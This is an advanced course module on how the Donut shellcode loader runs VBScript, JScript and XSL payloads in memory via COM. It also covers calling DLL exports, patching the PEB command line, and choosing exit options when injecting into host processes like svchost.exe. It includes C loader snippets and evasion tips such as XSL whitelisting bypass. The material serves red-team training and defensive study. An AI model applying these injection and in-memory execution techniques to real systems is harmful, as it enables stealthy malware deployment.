Difficulty: Advanced

Module 7: Advanced Payload Types

VBScript/JScript/XSL execution via COM, native DLL export calling with arguments, PE command-line injection, and exit option strategies.

Module Objective

Understand how Donut executes non-PE payload types (VBScript, JScript, XSL) using COM scripting interfaces, how it handles native DLL payloads with custom export functions and arguments, how command-line arguments are injected for native EXEs, and the operational implications of different exit options.

1. Script Execution via COM

Beyond PE and .NET payloads, Donut can execute VBScript, JScript, and XSL files. This is implemented in inmem_script.c using Windows COM scripting interfaces. The key insight is that Windows provides COM objects for script execution that can be instantiated from unmanaged code.

Script Type Dispatch

VBScript
DONUT_MODULE_VBS
IActiveScript
COM scripting engine

JScript
DONUT_MODULE_JS
IActiveScript
COM scripting engine

XSL
DONUT_MODULE_XSL
IXMLDOMDocument
XML/XSL processor

2. VBScript and JScript Execution

For VBS and JS payloads, Donut creates an instance of the Windows Script Host engine via COM. The script text (from the decrypted DONUT_MODULE) is fed directly to the engine without writing to disk:

C// inmem_script.c - VBScript/JScript execution via IActiveScript

BOOL RunScript(PDONUT_INSTANCE inst, PDONUT_MODULE mod, LPVOID payload) {
    // Initialize COM
    inst->api.CoInitializeEx(NULL, COINIT_MULTITHREADED);

    // Choose the scripting engine CLSID based on module type
    CLSID *engine_clsid;
    if (mod->type == DONUT_MODULE_VBS) {
        engine_clsid = &CLSID_VBScript;     // {B54F3741-5B07-11CF-A4B0-00AA004A55E8}
    } else if (mod->type == DONUT_MODULE_JS) {
        engine_clsid = &CLSID_JScript;      // {F414C260-6AC0-11CF-B6D1-00AA00BBBB58}
    }

    // Create the scripting engine
    IActiveScript *engine = NULL;
    inst->api.CoCreateInstance(
        engine_clsid,
        NULL,
        CLSCTX_INPROC_SERVER,
        &IID_IActiveScript,
        (void**)&engine
    );

    // Get the IActiveScriptParse interface
    IActiveScriptParse *parser = NULL;
    engine->lpVtbl->QueryInterface(
        engine, &IID_IActiveScriptParse, (void**)&parser
    );

    // Initialize the parser
    parser->lpVtbl->InitNew(parser);

    // Create and set a script site (IActiveScriptSite implementation)
    // Donut implements a minimal script site for hosting
    IActiveScriptSite *site = CreateScriptSite(inst);
    engine->lpVtbl->SetScriptSite(engine, site);

    // Convert the script text to a wide string
    OLECHAR *script_text = ConvertToWideString(payload, mod->len);

    // Parse and execute the script
    parser->lpVtbl->ParseScriptText(
        parser,
        script_text,       // The script source code
        NULL,              // Item name
        NULL,              // Context
        NULL,              // Delimiter
        0,                 // Source context cookie
        0,                 // Starting line
        SCRIPTTEXT_ISEXPRESSION,
        NULL,              // Result variant
        NULL               // Exception info
    );

    // Set engine state to CONNECTED to execute
    engine->lpVtbl->SetScriptState(engine, SCRIPTSTATE_CONNECTED);

    return TRUE;
}

IActiveScriptSite

The scripting engine requires an IActiveScriptSite implementation that handles callbacks like GetItemInfo, OnScriptError, and OnStateChange. Donut implements a minimal version of this COM interface in its PIC loader, providing just enough functionality for the script to execute. Most methods return E_NOTIMPL or S_OK.

3. XSL File Execution

XSL files are processed differently. Donut uses the MSXML COM objects to load the XSL as a stylesheet and apply it to a dummy XML document. The XSL can contain embedded VBScript or JScript via <msxsl:script> blocks:

C// XSL execution via IXMLDOMDocument and IXSLProcessor

BOOL RunXSL(PDONUT_INSTANCE inst, PDONUT_MODULE mod, LPVOID payload) {
    inst->api.CoInitializeEx(NULL, COINIT_MULTITHREADED);

    // Create IXMLDOMDocument2 for the XSL stylesheet
    IXMLDOMDocument2 *xsl = NULL;
    inst->api.CoCreateInstance(
        &CLSID_DOMDocument30,
        NULL,
        CLSCTX_INPROC_SERVER,
        &IID_IXMLDOMDocument2,
        (void**)&xsl
    );

    // Load the XSL content from the decrypted module
    VARIANT_BOOL success;
    BSTR xsl_text = inst->api.SysAllocString(wide_payload);
    xsl->lpVtbl->loadXML(xsl, xsl_text, &success);

    // Create a dummy XML document to transform
    IXMLDOMDocument2 *xml = NULL;
    inst->api.CoCreateInstance(
        &CLSID_DOMDocument30, NULL, CLSCTX_INPROC_SERVER,
        &IID_IXMLDOMDocument2, (void**)&xml
    );
    BSTR dummy_xml = inst->api.SysAllocString(L"<?xml version=\"1.0\"?><x/>");
    xml->lpVtbl->loadXML(xml, dummy_xml, &success);

    // Create the XSL template and processor
    IXSLTemplate *tmpl = NULL;
    inst->api.CoCreateInstance(
        &CLSID_XSLTemplate, NULL, CLSCTX_INPROC_SERVER,
        &IID_IXSLTemplate, (void**)&tmpl
    );

    tmpl->lpVtbl->putref_stylesheet(tmpl, (IXMLDOMNode*)xsl);

    IXSLProcessor *proc = NULL;
    tmpl->lpVtbl->createProcessor(tmpl, &proc);
    proc->lpVtbl->put_input(proc, var_xml);

    // Execute the transformation (runs embedded scripts)
    VARIANT_BOOL status;
    proc->lpVtbl->transform(proc, &status);

    return TRUE;
}

XSL as an Attack Vector

XSL files can contain embedded script code in <msxsl:script> elements. When the XSL processor transforms a document, these scripts execute. This technique (sometimes called XSL script processing) was historically used for application whitelisting bypass because msxsl.exe was a Microsoft-signed binary. Donut embeds the same execution logic directly in shellcode.

4. Native DLL with Custom Exports

For native (unmanaged) DLLs, Donut does more than just call DllMain. It can invoke a specific exported function with user-supplied arguments:

C// inmem_pe.c - After mapping the DLL and calling DllMain...

// If a function name was specified in DONUT_MODULE
if (mod->function[0] != 0) {
    // Walk the DLL's export table to find the named function
    PIMAGE_EXPORT_DIRECTORY exp = GetExportDirectory(base);
    FARPROC func = FindExportByName(base, exp, mod->function);

    if (func != NULL) {
        // Call the export with the parameter string
        typedef VOID (WINAPI *ExportFunc)(LPSTR);
        ((ExportFunc)func)(mod->param);
    }
}

// Example usage:
// donut -f payload.dll -m RunPayload -p "arg1 arg2"
// This calls: payload.dll!RunPayload("arg1 arg2")

This capability is essential for DLLs that expose specific functionality through exports. For example, a DLL might export a RunPayload function that accepts a configuration string.

5. Native EXE with Command-Line Arguments

When running a native EXE payload, Donut needs to provide command-line arguments. Since the EXE is loaded in-memory (not spawned as a new process), there is no real command line. Donut handles this by patching the Process Environment Block:

C// For native EXEs that need command-line arguments,
// Donut modifies the PEB's ProcessParameters to inject
// the user-supplied arguments

VOID SetCommandLine(PDONUT_INSTANCE inst, PDONUT_MODULE mod) {
    // Access the PEB
    PPEB peb = GetPEB();

    // Get the RTL_USER_PROCESS_PARAMETERS
    PRTL_USER_PROCESS_PARAMETERS params = peb->ProcessParameters;

    // Build the new command line: "payload.exe arg1 arg2"
    WCHAR cmdline[DONUT_MAX_NAME * 2];
    wsprintfW(cmdline, L"payload.exe %S", mod->param);

    // Overwrite the CommandLine UNICODE_STRING
    RtlInitUnicodeString(&params->CommandLine, cmdline);
}

// Now when the EXE calls GetCommandLineW() or reads __argc/__argv,
// it receives the injected arguments

Alternative: Patching __argc/__argv

Some EXEs read arguments through the C runtime’s __argc and __argv globals rather than GetCommandLine. Since these are initialized by the CRT startup code (which Donut’s PE loader calls via the entry point), the PEB approach works because the CRT reads from GetCommandLineW during initialization.

6. Thread Execution Mode

Donut can optionally execute the payload in a new thread rather than in the current thread. This is controlled by the thread field in DONUT_MODULE:

C// Thread execution wrapper
if (mod->thread) {
    // Create a new thread for the payload
    HANDLE hThread = inst->api.CreateThread(
        NULL,           // Default security
        0,              // Default stack size
        PayloadThread,  // Thread function (runs the payload)
        inst,           // Pass instance as parameter
        0,              // Run immediately
        NULL            // Don't need thread ID
    );

    // Wait for the payload thread to complete
    inst->api.WaitForSingleObject(hThread, INFINITE);
    inst->api.CloseHandle(hThread);
} else {
    // Execute directly in the current thread
    ExecutePayload(inst, mod, payload);
}
ModeUse CaseTrade-off
Same threadSimple injection, callback-based executionPayload crash kills the injection thread
New threadLong-running payloads, implantsNew thread creation is potentially detectable

7. Exit Options in Detail

The exit behavior after payload execution has significant operational implications:

DONUT_OPT_EXIT_THREAD

Calls ExitThread(0). Only the current thread terminates. The host process continues running normally. Best for: injection into long-lived processes where you want the host to survive. Risk: if the payload leaks handles or resources, they persist in the host process.

DONUT_OPT_EXIT_PROCESS

Calls ExitProcess(0). The entire host process terminates. Best for: sacrificial processes (e.g., you spawned svchost.exe specifically to inject into). Risk: if you accidentally inject into a critical process, you kill it.

DONUT_OPT_EXIT_BLOCK

The loader simply returns. Control goes back to whoever called the shellcode. Best for: when you call Donut shellcode from your own code (e.g., a custom loader) and want execution to continue. Risk: the caller must handle cleanup.

8. Payload Type Summary

TypeHandlerCOM RequiredCLR RequiredArguments
Native EXERunPE()NoNoVia PEB CommandLine
Native DLLRunPE()NoNoVia export function param
.NET EXERunDotNET()Yes (CLR is COM)YesVia SAFEARRAY of strings
.NET DLLRunDotNET()YesYesVia InvokeMember_3
VBScriptRunScript()YesNoEmbedded in script
JScriptRunScript()YesNoEmbedded in script
XSLRunScript()YesNoEmbedded in XSL

Knowledge Check

1. How does Donut execute VBScript payloads in-memory?

Donut creates the Windows Script Host engine via CoCreateInstance with the VBScript CLSID, obtains an IActiveScriptParse interface, and passes the script text directly to ParseScriptText. No files are written to disk, and no external processes are spawned.

2. What is the recommended exit option when injecting into a long-lived host process?

EXIT_THREAD calls ExitThread(0), terminating only the current thread while allowing the host process to continue running normally. This is safest for injection into processes like explorer.exe or svchost.exe that should not be killed.

3. How does Donut provide command-line arguments to native EXE payloads loaded in-memory?

Since the EXE is loaded in-memory (not spawned as a new process), there is no real command line. Donut modifies the PEB’s ProcessParameters->CommandLine UNICODE_STRING before calling the entry point. When the EXE’s CRT startup calls GetCommandLineW(), it reads the injected arguments from the PEB.